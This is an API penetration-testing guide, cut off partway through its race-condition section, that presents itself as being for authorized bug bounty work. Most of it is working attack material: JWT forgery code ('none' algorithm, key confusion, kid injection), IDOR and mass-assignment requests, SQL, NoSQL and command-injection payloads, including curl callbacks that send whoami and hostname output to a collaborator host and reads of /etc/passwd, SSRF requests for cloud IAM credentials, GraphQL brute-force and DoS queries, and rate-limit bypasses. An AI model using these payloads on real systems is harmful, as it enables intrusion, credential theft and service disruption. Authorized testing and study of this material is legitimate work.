Authorization: This guide is for authorized penetration testing and bug bounty hunting only. All techniques should be performed against targets you have explicit written permission to test.
Table of Contents
- Phase 1: Surface Reconnaissance
- Phase 2: API Fingerprinting & Documentation Extraction
- Phase 3: Authentication & Authorization Bypass
- Phase 4: Injection Attacks on APIs
- Phase 5: GraphQL-Specific Attacks
- Phase 6: Rate Limit Testing & Business Logic Abuse
- Phase 7: Automation Pipeline
- Phase 8: Exploit Chaining
- Reporting Template
- OWASP API Security Top 10 Reference
- Tools Cheatsheet
Phase 1: Surface Reconnaissance — Finding the Attack Surface
1.1 Passive Reconnaissance
Wayback Machine & Archive Analysis
# Using gau (GetAllUrls) — passive URL gathering
gau --subs target.com | grep -E "\.json|\.xml|/api/|/v[0-9]/|/graphql|/rest/|/swagger|/docs" > api_endpoints.txt
# Waybackurls via waymore
waymore -i target.com -mode U -o U | grep -i api
# Using waybackurls
waybackurls target.com | grep -iE "api|rest|graphql|swagger|v[0-9]" | sort -u
Google Dorking for Exposed APIs
site:target.com inurl:"/api/"
site:target.com inurl:"/v1/" | inurl:"/v2/" | inurl:"/v3/"
site:target.com intitle:"Swagger UI" | intitle:"API Documentation"
site:target.com intitle:"index of" "api"
site:target.com ext:json "swagger" | ext:yaml "openapi"
site:target.com "api_key" | "api-key" | "apikey" filetype:txt
site:target.com inurl:"/graphql" | inurl:"/graphiql"
site:target.com inurl:"/rest/v1" | inurl:"/rest/v2"
site:target.com "Access-Control-Allow-Origin: *"
site:target.com "X-Powered-By:" "Express" intitle:"API"
Certificate Transparency Logs
# crt.sh — find subdomains with API-related names
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u | grep -iE "api|dev|staging|internal|gateway|admin|backend|sandbox|uat|edge|cdn|test|beta|v1|v2|v3|ws|websocket"
# Using certspotter
curl -s "https://certspotter.com/api/v1/issuances?domain=target.com&include_subdomains=true&expand=dns_names" | jq -r '.[].dns_names[]' | sort -u
# Using censys (requires API key)
# censys search "target.com" -f "parsed.names" | grep -i api
Mobile App Reverse Engineering
# Android — decompile APK
apktool d app.apk -o decompiled
grep -r "https\?://" decompiled/ --include="*.smali" --include="*.xml" --include="*.json" | grep -i api | sort -u
# Android — using jadx for better decompilation
jadx app.apk -d jadx_output
grep -r "https\?://" jadx_output/ --include="*.java" | grep -iE "api|rest|graphql" | sort -u
# iOS — using objection for dynamic analysis
objection --gadget "com.target.app" explore
# inside objection:
# android hooking list classes | grep -i "api\|network\|request"
# ios hooking list classes | grep -i "api\|network\|request"
# iOS — static analysis with class-dump
class-dump -H Payload/Target.app/Target -o headers/
grep -r "https\?://" headers/ --include="*.h" | grep -i api
JavaScript Source Analysis
# Collect JS files
gau --subs target.com | grep -E "\.js$" | sort -u > js_files.txt
waybackurls target.com | grep -E "\.js$" | sort -u >> js_files.txt
# Extract API endpoints from JS
cat js_files.txt | while read url; do
curl -s "$url" | grep -oP '["'"'"']https?://[^"'"'"']*api[^"'"'"']*' | sort -u
done
# Using linkfinder
python3 linkfinder.py -i https://target.com/app.js -o cli | grep api
# Using jsubfinder
jsubfinder search -d target.com | grep -i api
1.2 Active Reconnaissance
Subdomain Enumeration Focused on API Subdomains
# Subfinder + httpx
subfinder -d target.com -all -silent | httpx -silent -ports 80,443,8080,8443,9090,3000,5000,7000,8000 | tee live_subdomains.txt
# Filter for API-related subdomains
cat live_subdomains.txt | grep -iE "api|gateway|backend|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage|prod|corp|ops|services|service|ws|socket|webhook|cron|jobs|worker|queue|sync|async|data|analytics|metrics|monitor|status|health"
# Using amass for deeper enumeration
amass enum -d target.com -o amass_output.txt
cat amass_output.txt | grep -iE "api|gateway|internal|admin|dev" | sort -u
# DNS brute force with custom API subdomain wordlist
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt target.com | grep -iE "api|gateway|internal|admin|dev|staging|uat|sandbox|edge|cdn|test|beta|stage|prod|corp|ops"
Directory / Endpoint Bruteforcing
# Common API paths
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common-api-endpoints.txt -mc all -fs 0 -fc 404
# API version enumeration
ffuf -u https://api.target.com/FUZZ -w <(echo -e "v1\nv2\nv3\nv4\nv1.0\nv2.0\nlatest\nstable\nalpha\nbeta\ndev\nstaging\ntest") -mc 200,301,302,403,401
# GraphQL discovery
ffuf -u https://api.target.com/FUZZ -w <(echo -e "graphql\ngraph\ngraphiql\nv1/graphql\nv2/graphql\napi/graphql\nquery\nmutations\nsubscriptions\nplayground\ngraphql/console") -mc 200,301,302,403
# Swagger/OpenAPI docs
ffuf -u https://api.target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\napi-docs\nopenapi.json\nopenapi.yaml\ndocs\nv2/swagger.json\nv3/api-docs\n/swagger-resources\n/swagger-ui.html\n/redoc\n/docs/api\n/api/documentation") -mc 200,301,302,403
# Recursive directory fuzzing on API endpoints
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api-endpoints-resolvers.txt -recursion -recursion-depth 2 -mc all -fc 404
Parameter Discovery
# Arjun — parameter discovery
arjun -u https://api.target.com/v1/users --get
arjun -u https://api.target.com/v1/login --post
# Paramspider
paramspider -d target.com --subs --exclude woff,css,js,png,svg,jpg
# x8 — hidden parameter fuzzer (more thorough than Arjun)
x8 -u https://api.target.com/v1/users -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# Custom parameter bruteforce with ffuf
ffuf -u https://api.target.com/v1/users?FUZZ=test \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-H "Authorization: Bearer $TOKEN" \
-mc all -fc 400,404 -fs 0
Phase 2: API Fingerprinting & Documentation Extraction
2.1 Identify API Type & Protocol
# Check response headers for API identification
curl -sI https://api.target.com/v1/users
# Look for:
# X-Powered-By: Express / ASP.NET / Flask / Django / etc.
# Server: nginx / apache / cloudflare / etc.
# Content-Type: application/json / application/xml / text/graphql
# Access-Control-Allow-Origin
# X-RateLimit-*
# X-API-Key-Required
# Check for RESTful patterns
curl -s https://api.target.com/v1/users | head -50
curl -s https://api.target.com/v1/users/1 | head -50
# Check for GraphQL
curl -s https://api.target.com/graphql -X POST -H "Content-Type: application/json" -d '{"query":"{ __typename }"}'
# Check for SOAP
curl -s https://api.target.com/soap -X POST -H "Content-Type: text/xml" -d '<?xml version="1.0"?><soap:Envelope><soap:Body/></soap:Envelope>'
# Check for gRPC (HTTP/2 required)
curl -sI --http2 https://api.target.com:50051
# Check for WebSocket
curl -sI -H "Upgrade: websocket" -H "Connection: Upgrade" https://api.target.com/socket
2.2 Extract Full API Documentation
Swagger / OpenAPI Endpoints
# Common paths — comprehensive list
for path in \
/swagger.json \
/swagger.yaml \
/api/swagger.json \
/api/swagger.yaml \
/api/v1/swagger.json \
/api/v2/swagger.json \
/v1/swagger.json \
/v2/swagger.json \
/v3/swagger.json \
/swagger-resources \
/swagger-ui.html \
/api-docs \
/v2/api-docs \
/v3/api-docs \
/openapi.json \
/openapi.yaml \
/docs \
/redoc \
/api/documentation \
/documentation \
/api/docs \
/api/v1/docs \
/api/v2/docs \
/api/v3/docs; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://api.target.com$path")
echo "$status - https://api.target.com$path"
done
# Download and parse
curl -s https://api.target.com/swagger.json | jq '.paths' | head -100
# Convert to Postman collection for testing
curl -s https://api.target.com/swagger.json | npx swagger-to-postman > collection.json
# Extract all endpoints from OpenAPI spec
curl -s https://api.target.com/openapi.json | jq -r '.paths | to_entries[] | .key as $path | .value | to_entries[] | "\(.key | ascii_upcase) \($path)"' | sort
GraphQL Introspection
# Standard introspection query
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d '{"query": "{__schema{types{name fields{name type{name kind}}}}}"}'
# Full introspection query
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d '{
"query": "query { __schema { types { name kind fields { name type { name kind ofType { name kind } } } } queryType { fields { name args { name type { name kind } } } } mutationType { fields { name args { name type { name kind } } } } } }"
}' | jq .
# Using InQL (Burp extension or standalone)
python3 inql -t https://api.target.com/graphql -d
# Using graphw00f for fingerprinting
graphw00f -d https://api.target.com/graphql
# Using clairvoyance when introspection is disabled
clairvoyance https://api.target.com/graphql -o schema.json
# Using GraphQLmap for interactive testing
python3 graphqlmap.py -u https://api.target.com/graphql
2.3 HTTP Method Fuzzing
# Fuzz all methods on discovered endpoints
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE CONNECT; do
status=$(curl -X "$method" -s -o /dev/null -w "%{http_code}" "https://api.target.com/v1/users")
echo "$status - $method"
done
# Automated with ffuf
ffuf -u https://api.target.com/v1/users \
-X FUZZ \
-w <(echo -e "GET\nPOST\nPUT\nPATCH\nDELETE\nOPTIONS\nHEAD\nTRACE") \
-mc all -fc 404,405,400
# Check for CORS misconfigurations
curl -sI https://api.target.com/v1/users -H "Origin: https://evil.com" | grep -i "access-control"
# OPTIONS method to see allowed methods
curl -s -X OPTIONS https://api.target.com/v1/users -I | grep -i allow
Phase 3: Authentication & Authorization Bypass Techniques
3.1 Authentication Bypass Vectors
Missing or Weak Auth on Hidden Endpoints
# Compare authenticated vs unauthenticated access
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer $TOKEN" | head -50
curl -s https://api.target.com/v1/admin/users # No token — what happens?
# Test with empty token
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer "
# Test with null token
curl -s https://api.target.com/v1/admin/users -H "Authorization: null"
# Test with arbitrary token
curl -s https://api.target.com/v1/admin/users -H "Authorization: Bearer test123"
# Test without auth header at all
curl -s https://api.target.com/v1/admin/users
# Test with different auth schemes
curl -s https://api.target.com/v1/admin/users -H "Authorization: Basic YWRtaW46YWRtaW4="
curl -s https://api.target.com/v1/admin/users -H "X-API-Key: admin"
curl -s https://api.target.com/v1/admin/users -H "API-Key: admin"
curl -s https://api.target.com/v1/admin/users -H "X-Token: admin"
JWT Manipulation
#!/usr/bin/env python3
"""
JWT manipulation toolkit for API testing
"""
import jwt
import requests
import json
import base64
# Technique 1: Set algorithm to 'none'
def jwt_none_bypass(payload):
"""Set alg to 'none' — works on poorly validated JWTs"""
headers_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"alg": "none", "typ": "JWT", "kid": ""},
]
tokens = []
for header in headers_variants:
try:
token = jwt.encode(payload, "", algorithm="none", headers=header)
tokens.append(token)
except:
# Some libraries don't allow 'none'
# Manual encoding fallback
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{encoded_header}.{encoded_payload}."
tokens.append(token)
return tokens
# Technique 2: RS256 → HS256 algorithm confusion
def jwt_alg_confusion(public_key_path, payload):
"""
If the server uses RS256 but accepts HS256,
sign with the PUBLIC key (which is known) as HMAC secret
"""
with open(public_key_path, "r") as f:
public_key = f.read()
forged = jwt.encode(payload, public_key, algorithm="HS256")
return forged
# Technique 3: JWK injection (CVE-2018-0114)
def generate_jwk_injection(payload, private_key_pem, public_key_pem):
"""
Craft a JWT that includes a malicious JWK in the header.
If the server trusts the embedded JWK, it validates against YOUR key.
"""
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# Load your RSA key
private_key = serialization.load_pem_private_key(
private_key_pem.encode(),
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
# Convert to base64url
n = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()
e = base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": n,
"e": e,
"alg": "RS256"
}
headers = {
"alg": "RS256",
"typ": "JWT",
"jwk": jwk
}
forged = jwt.encode(payload, private_key_pem, algorithm="RS256", headers=headers)
return forged
# Technique 4: Kid injection (directory traversal / SQL injection)
def kid_injection(payload, injection_payload="../../dev/null"):
"""
kid: "../../dev/null" means empty signature validation
kid: "/proc/sys/kernel/random/uuid" for DoS testing
kid: "keyfile|../../etc/passwd" for command injection
"""
headers = {
"alg": "HS256",
"typ": "JWT",
"kid": injection_payload
}
forged = jwt.encode(payload, "", algorithm="HS256", headers=headers)
return forged
# Technique 5: Expired token acceptance
def test_expired_token(token):
"""Test if expired tokens are still accepted"""
decoded = jwt.decode(token, options={"verify_exp": False})
# Modify exp to past date
import time
decoded["exp"] = int(time.time()) - 3600 # 1 hour ago
headers = jwt.get_unverified_header(token)
forged = jwt.encode(decoded, "", algorithm=headers.get("alg", "HS256"), headers=headers)
return forged
# Technique 6: Sub claim manipulation (vertical privilege escalation)
def escalate_privilege(token, target_role="admin"):
"""Modify the 'sub', 'role', or custom claims for privilege escalation"""
decoded = jwt.decode(token, options={"verify_exp": False})
headers = jwt.get_unverified_header(token)
# Common privilege claims
privilege_claims = ["role", "roles", "is_admin", "admin", "privilege", "privileges",
"permissions", "scope", "scopes", "group", "groups", "type", "user_type",
"account_type", "access_level", "level", "tier", "plan"]
for claim in privilege_claims:
if claim in decoded:
decoded[claim] = target_role if isinstance(decoded[claim], str) else [target_role]
# Also try adding privileged claims
decoded["role"] = "admin"
decoded["is_admin"] = True
decoded["permissions"] = ["*", "admin", "read:all", "write:all"]
return jwt.encode(decoded, token.split('.')[0], algorithm=headers.get("alg", "HS256"), headers=headers)
# Technique 7: Key ID (kid) with SQL injection
def kid_sql_injection(payload):
"""If kid is used in a SQL query, inject SQL"""
headers = {
"alg": "HS256",
"typ": "JWT",
"kid": "' UNION SELECT '1' -- "
}
forged = jwt.encode(payload, "1", algorithm="HS256", headers=headers)
return forged
Using jwt_tool
# Using jwt_tool for comprehensive JWT testing
python3 jwt_tool.py $TOKEN -T # Tamper with token
python3 jwt_tool.py $TOKEN -X a # Algorithm 'none' attack
python3 jwt_tool.py $TOKEN -X c # Algorithm confusion (RS256→HS256)
python3 jwt_tool.py $TOKEN -X i # Inject JWK
python3 jwt_tool.py $TOKEN -X k # Kid injection
python3 jwt_tool.py $TOKEN -X e # Exploit expired token
# Scan for JWT vulnerabilities
python3 jwt_tool.py -t "https://api.target.com/v1/endpoint" -rc "Authorization: Bearer $TOKEN"
API Key Leakage via Referer / Origin / Path
# Check if API keys leak in referer headers
curl -s https://api.target.com/v1/endpoint \
-H "Referer: https://api.target.com/v1/users?api_key=test123"
# Check if API keys are accepted in URL parameters
curl -s "https://api.target.com/v1/users?api_key=test123"
curl -s "https://api.target.com/v1/users?key=test123"
curl -s "https://api.target.com/v1/users?token=test123"
curl -s "https://api.target.com/v1/users?access_token=test123"
# Check if API key works in headers
curl -s https://api.target.com/v1/users \
-H "X-API-Key: test123"
curl -s https://api.target.com/v1/users \
-H "API-Key: test123"
curl -s https://api.target.com/v1/users \
-H "X-Api-Key: test123"
curl -s https://api.target.com/v1/users \
-H "X-APIKEY: test123"
3.2 Authorization Testing — IDOR & BOLA
# Sequential ID enumeration
for id in $(seq 1 100); do
response=$(curl -s "https://api.target.com/v1/users/$id")
email=$(echo "$response" | jq -r '.email // empty' 2>/dev/null)
if [ -n "$email" ]; then
echo "User $id: $email"
fi
done
# UUID enumeration (less likely but test)
ffuf -u https://api.target.com/v1/orders/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-H "Authorization: Bearer $TOKEN" \
-mc 200,403,401
# Mass IDOR via parameter pollution
curl -s "https://api.target.com/v1/invoices?id=1&id=2&id=3"
curl -s "https://api.target.com/v1/invoices?id[]=1&id[]=2&id[]=3"
# Test IDOR on different object types
for object in users orders invoices payments tickets messages comments posts profiles accounts transactions; do
for id in 1 2 3; do
curl -s "https://api.target.com/v1/$object/$id" \
-H "Authorization: Bearer $TOKEN" | jq '. | select(. != null)'
done
done
# IDOR via path traversal in object reference
curl -s "https://api.target.com/v1/orders/../users/1"
curl -s "https://api.target.com/v1/orders/..%2Fusers%2F1"
# Test for wildcard object references
curl -s "https://api.target.com/v1/users/*"
curl -s "https://api.target.com/v1/users/all"
curl -s "https://api.target.com/v1/users/%00"
Mass Assignment Testing
# Test for mass assignment on POST/PUT endpoints
curl -X PUT https://api.target.com/v1/users/me \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"name": "test",
"role": "admin",
"is_admin": true,
"is_verified": true,
"is_active": true,
"balance": 999999999,
"email_verified": true,
"account_status": "active",
"tier": "enterprise",
"permissions": ["*"],
"credits": 999999,
"plan": "premium",
"subscription": "unlimited",
"admin": true,
"privileged": true
}'
# Test mass assignment on POST endpoints
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{
"email": "attacker@test.com",
"password": "Password123!",
"role": "admin",
"is_admin": true,
"admin": true,
"privileged": true
}'
# Test mass assignment via URL parameters
curl -X POST "https://api.target.com/v1/users?role=admin&is_admin=true"
Broken Function Level Authorization (BFLA)
# Vertical privilege escalation — lower privilege user accessing admin functions
# Replace user role token and test admin endpoints
curl -s https://api.target.com/v1/admin/users \
-H "Authorization: Bearer $(cat low_priv_token.txt)"
# Test all admin endpoints with low-priv token
for endpoint in admin manage dashboard config settings system logs metrics reports users roles permissions audit; do
for action in users config logs settings metrics reports; do
curl -s "https://api.target.com/v1/$endpoint/$action" \
-H "Authorization: Bearer $(cat low_priv_token.txt)"
done
done
# Test HTTP method override for privilege escalation
curl -s https://api.target.com/v1/users \
-H "Authorization: Bearer $(cat low_priv_token.txt)" \
-H "X-HTTP-Method-Override: DELETE"
# Test hidden admin parameters
curl -s "https://api.target.com/v1/users?admin=true"
curl -s "https://api.target.com/v1/users?isAdmin=true"
curl -s "https://api.target.com/v1/users?debug=true"
Phase 4: Injection Attacks on APIs
4.1 SQL Injection in API Parameters
# Classic SQLi in API
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1"
curl -s "https://api.target.com/v1/users?id=1' OR '1'='1'--"
curl -s "https://api.target.com/v1/users?id=1' UNION SELECT @@version--"
curl -s "https://api.target.com/v1/users?id=1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10"
# Time-based blind SQLi
curl -s "https://api.target.com/v1/users?id=1' WAITFOR DELAY '00:00:05'--"
curl -s "https://api.target.com/v1/users?id=1' AND SLEEP(5)--"
# Error-based SQLi
curl -s "https://api.target.com/v1/users?id=1' AND 1=CONVERT(int,@@version)--"
# JSON-based SQLi
curl -X POST https://api.target.com/v1/search \
-H "Content-Type: application/json" \
-d '{"query": "test' OR '1'='1"}'
curl -X POST https://api.target.com/v1/search \
-H "Content-Type: application/json" \
-d '{"query": "test' UNION SELECT @@version--"}'
# SQLi in nested JSON
curl -X POST https://api.target.com/v1/search \
-H "Content-Type: application/json" \
-d '{"filters": {"id": "1' OR '1'='1"}}'
# SQLi in array parameters
curl -s "https://api.target.com/v1/users?ids[]=1&ids[]=2' OR '1'='1"
NoSQL Injection (MongoDB)
# NoSQL Injection — login bypass
curl -X POST https://api.target.com/v1/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$ne": ""}}'
# NoSQL injection — extract data with $regex
curl -X POST https://api.target.com/v1/users \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": ".*"}, "password": {"$ne": ""}}'
# NoSQL injection — boolean-based
curl -s "https://api.target.com/v1/users?username[$ne]=nonexistent&password[$ne]=nonexistent"
# NoSQL injection — $where operator
curl -X POST https://api.target.com/v1/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000)"}'
# NoSQL injection — $gt operator for data extraction
curl -s "https://api.target.com/v1/users?created_at[$gt]=2020-01-01"
4.2 Command Injection
# Command injection in API parameters
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1;id"
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1|id"
curl -s "https://api.target.com/v1/utils/ping?host=127.0.0.1$(id)"
curl -s "https://api.target.com/v1/utils/ping?host=`id`"
curl -s "https://api.target.com/v1/exports?format=csv;cat /etc/passwd"
curl -s "https://api.target.com/v1/exports?format=csv|cat /etc/passwd"
# Blind command injection with out-of-band detection
curl -s "https://api.target.com/v1/convert?file=/tmp/test|curl http://COLLABORATOR.net/$(whoami)"
curl -s "https://api.target.com/v1/convert?file=/tmp/test||curl http://COLLABORATOR.net/$(hostname)"
# Command injection in headers
curl -s https://api.target.com/v1/upload \
-H "User-Agent: test';id;'" \
-H "X-Forwarded-For: 127.0.0.1;id;"
# Command injection in JSON body
curl -X POST https://api.target.com/v1/process \
-H "Content-Type: application/json" \
-d '{"file": "test.txt; id"}'
# Command injection via filename upload
curl -X POST https://api.target.com/v1/upload \
-F "file=@test.txt;filename=test.txt;id;.txt"
4.3 SSRF (Server-Side Request Forgery)
# Basic SSRF
curl -s "https://api.target.com/v1/proxy?url=http://169.254.169.254/latest/meta-data/"
curl -s "https://api.target.com/v1/proxy?url=http://127.0.0.1:8080/admin"
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080/admin"
# Blind SSRF via Collaborator
curl -s "https://api.target.com/v1/webhook?url=http://COLLABORATOR.net/test"
# SSRF via cloud metadata endpoints
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/" # AWS
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS IAM
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/" # GCP
curl -s "https://api.target.com/v1/import?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" # GCP
curl -s "https://api.target.com/v1/import?url=http://100.100.100.200/latest/meta-data/" # Alibaba
curl -s "https://api.target.com/v1/import?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure
# SSRF via redirect
curl -s "https://api.target.com/v1/avatar?url=http://redirect.com/to=http://169.254.169.254/"
# SSRF via DNS rebinding
curl -s "https://api.target.com/v1/avatar?url=http://1e100.net/" # Google — may bypass allowlists
# SSRF via protocol smuggling
curl -s "https://api.target.com/v1/avatar?url=http://127.0.0.1:8080@evil.com/"
curl -s "https://api.target.com/v1/avatar?url=http://evil.com#@127.0.0.1:8080/"
curl -s "https://api.target.com/v1/avatar?url=http://evil.com\@127.0.0.1:8080/"
# SSRF — port scan internal network
for port in 80 443 3000 5000 6379 8000 8080 8443 9000 9200 27017 5432 3306 22 21 25 110 143 389 636 1433 1521 1830 4444 5000 5555 5601 5672 5984 6379 6443 7077 8000 8443 8983 9090 9200 9300 9999 11211 15672 27017; do
status=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 3 \
"https://api.target.com/v1/proxy?url=http://127.0.0.1:$port/")
echo "Port $port: $status"
done
# SSRF — file read via file:// protocol
curl -s "https://api.target.com/v1/avatar?url=file:///etc/passwd"
curl -s "https://api.target.com/v1/avatar?url=file:///proc/1/environ"
curl -s "https://api.target.com/v1/avatar?url=file:///proc/net/fib_trie"
# SSRF — internal service discovery
for service in internal-admin.target.internal admin.target.internal db.target.internal redis.target.internal jenkins.target.internal gitlab.target.internal; do
curl -s "https://api.target.com/v1/proxy?url=http://$service:8080/"
done
Phase 5: GraphQL-Specific Attacks
5.1 Introspection & Schema Extraction
# InQL scanner
inql -t https://api.target.com/graphql -d
# Clairvoyance — introspection even when blocked
clairvoyance https://api.target.com/graphql -o schema.json
# GraphQL map
python3 graphqlmap.py -u https://api.target.com/graphql
# Manual introspection when standard query is blocked
# Try sending introspection with different content types
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/graphql" \
-d '{ __schema { types { name kind fields { name } } } }'
# Try introspection via GET request
curl -s "https://api.target.com/graphql?query={__schema{types{name}}}"
# Try with different Accept headers
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-d '{"query": "query{__schema{types{name}}}"}'
5.2 Batching & Rate Limit Bypass
# Batch login bruteforce — single request, many passwords
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d '[
{"query": "mutation { login(username: \"admin\", password: \"password1\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password2\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password3\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password4\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password5\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password6\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password7\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password8\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password9\") { token } }"},
{"query": "mutation { login(username: \"admin\", password: \"password10\") { token } }"}
]'
# Generate 100 batch requests
python3 -c "
import json, requests
queries = []
for i in range(100):
queries.append({'query': f'mutation {{ login(username: \"admin\", password: \"password{i}\") {{ token }} }}'})
print(json.dumps(queries))
" > batch_queries.json
curl -s https://api.target.com/graphql \
-X POST \
-H "Content-Type: application/json" \
-d @batch_queries.json
5.3 Deep Query & Nested Abuse
# Circular query — cause DoS via deep nesting
query {
user(id: 1) {
posts {
comments {
user {
posts {
comments {
user {
posts {
comments {
user {
posts {
comments {
user {
name
}
}
}
}
}
}
}
}
}
}
}
}
}
}
5.4 Field Duplication & Resource Exhaustion
# Field duplication abuse
query {
__typename
__typename
__typename
__typename
user(id: 1) {
name
name
name
email
email
email
email
email
posts {
title
title
title
title
}
}
}
5.5 GraphQL Injection
# SQL injection in GraphQL
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ user(id: \"1' OR '1'='1\") { id email password } }"}'
# NoSQL injection in GraphQL
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ login(username: \"admin\", password: \"{\\$ne: \\\"\\\"}\") { token } }"}'
# GraphQL argument injection
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query { user(id: 1) { id email } }", "variables": {"id": "1 UNION SELECT 1,2,3"}}'
5.6 GraphQL DoS — Aliases
# Alias-based resource exhaustion
query {
a1: user(id: 1) { id name email }
a2: user(id: 1) { id name email }
a3: user(id: 1) { id name email }
a4: user(id: 1) { id name email }
a5: user(id: 1) { id name email }
# ... up to thousands of aliases
}
Phase 6: Rate Limit Testing & Business Logic Abuse
6.1 Rate Limit Bypass Techniques
# Technique 1: Header manipulation
curl -s https://api.target.com/v1/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com"}' \
-H "X-Forwarded-For: 127.0.0.1"
curl -s https://api.target.com/v1/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com"}' \
-H "X-Forwarded-For: 127.0.0.2"
# Try all common IP spoofing headers
for ip in "127.0.0.1" "10.0.0.1" "192.168.1.1" "0.0.0.0" "1.2.3.4"; do
curl -s https://api.target.com/v1/forgot-password \
-X POST \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com"}' \
-H "X-Forwarded-For: $ip" \
-H "X-Real-IP: $ip" \
-H "X-Originating-IP: $ip" \
-H "X-Remote-IP: $ip" \
-H "X-Client-IP: $ip" \
-H "Forwarded: for=$ip"
done
# Technique 2: Method alternation
# If POST is rate-limited, try PATCH or PUT
curl -X PATCH https://api.target.com/v1/forgot-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com"}'
curl -X PUT https://api.target.com/v1/forgot-password \
-H "Content-Type: application/json" \
-d '{"email":"victim@test.com"}'
# Technique 3: Parameter pollution
curl -s "https://api.target.com/v1/forgot-password?email=test@test.com&email=admin@admin.com"
# Technique 4: Content-Type switching
curl -X POST https://api.target.com/v1/forgot-password \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "email=victim@test.com"
curl -X POST https://api.target.com/v1/forgot-password \
-H "Content-Type: text/plain" \
-d '{"email":"victim@test.com"}'
curl -X POST https://api.target.com/v1/forgot-password \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><root><email>victim@test.com</email></root>'
# Technique 5: Unicode/encoding bypass
curl -s "https://api.target.com/v1/forgot-password?email=victim%40test.com"
curl -s "https://api.target.com/v1/forgot-password?email=victim@test.com&email=victim%40test.com"
# Technique 6: Case normalization bypass
curl -s "https://api.target.com/V1/forgot-password"
curl -s "https://api.target.com/v1/Forgot-password"
# Technique 7: Add trailing slashes or dots
curl -s "https://api.target.com/v1/forgot-password/"
curl -s "https://api.target.com/v1/forgot-password.."
6.2 Business Logic Flaws
Race Conditions / TOCTOU
#!/usr/bin/env python3
"""
Race condition testing — concurrent operations
"""
import requests
import threading
import time
from concurrent.futures import ThreadPoolExecutor
TOKEN = "YOUR_TOKEN_HERE"
def redeem_coupon():
"""Test race condition on coupon redemption"""
r = requests.post(
"https://api.target.com/v1/coupons/redeem",
json={"code": "ONETIME50"},
headers={"Authorization": f"Bearer {TOKEN}"}
)
print(f"Status: {r.status_code}, Response: {r.text[:100]}")
def transfer_money():
"""Test race condition on money transfer"""
r = requests.post(
"https://api.target.com/v1/transfer",
json={"amount": 100, "to": "attacker_account"},
headers={"Authorization": f"Bearer {TOKEN}"}
)
print(f"Status: {r.status_code}, Response: {r.text[:100]}")
def update_quantity():
"""Test race condition on product quantity"""
r = requests.post(
"https://api.target.com/v1/cart/checkout",
headers={"Authorization": f"Bearer {TOKEN}"}
)
print(f"Status: {r.status_code}, Response: {r.text[:100]}")
# Fire 50 simultaneous requests
